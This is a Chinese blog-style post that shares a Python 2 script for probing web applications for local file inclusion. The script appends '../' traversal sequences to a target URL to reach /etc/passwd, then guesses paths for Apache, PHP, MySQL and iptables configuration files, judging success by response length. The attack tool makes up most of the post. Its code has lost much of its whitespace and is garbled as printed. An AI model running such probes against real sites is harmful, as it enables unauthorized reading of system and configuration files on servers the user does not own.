【python探测本地包含文件的小工具】
操作方法
- 01
这几天在学PYTHON，随手写了个这个。 本地包含挨个试文件是否存在的时候很烦的，尤其在找配置文件和WEB路径的时候。PYTHON写点对渗透有帮助的小东西真的很方便。 paths1和paths2这俩变量是保存路径的。。列表如果觉得不够自己可以加！！ 代码：importurllib2import sysvar1=0var2=0print("-----------------------------------------------------")print ("| usage:path.py site url |")print ("|this url likehttp://www.google.com/index.?id= |")print (" writed byeip_0x[Freebuf],just 4 fun |")print("-----------------------------------------------------") site0=sys.argv[1]+'/kfdsjkf7675637d.txt'req0=urllib2.Request(site0)conn0=urllib2.urlopen(req0) while1: data0=conn0.read(4072) if not len(data0): break paths1=['/etc/passwd','../etc/passwd','../../etc/passwd','../../../etc/passwd','../../../../etc/passwd','../../../../../etc/passwd','../../../../../../etc/passwd','../../../../../../../etc/passwd','../../../../../../../etc/passwd','../../../../../../../../etc/passwd','../../../../../../../../../etc/passwd','../../../../../../../../../../etc/passwd']paths2=['/usr/local/app/apache2/conf/httpd.conf','/usr/local/apache2/conf/httpd.conf','/usr/local/app/apache2/conf/extra/httpd-vhosts.conf','/usr/local/app/php5/lib/php.ini','/etc/sysconfig/iptables','/etc/httpd/conf/httpd.conf','/etc/my.cnf','/etc/issue','/etc/redhat-release','/usr/local/apche/conf/httpd.conf','/etc/httpd/conf/httpd.conf'] forpath in paths1: site=sys.argv[1]+path req=urllib2.Request(site) conn=urllib2.urlopen(req) while 1: data=conn.read(4072) if notlen(data0): break if len(data)!=len(data0): printpath," this file has been found!!!!u r lucky and have fun!!!!" for path2in paths2: path2ok=path.replace("/etc/passwd",path2) site2=sys.argv[1]+path2ok req2=urllib2.Request(site2) conn2=urllib2.urlopen(req2) while 1: data2=conn2.read(4072) if not len(data2): break if len(data2)!=len(data0): printpath2,"this file has been found!!"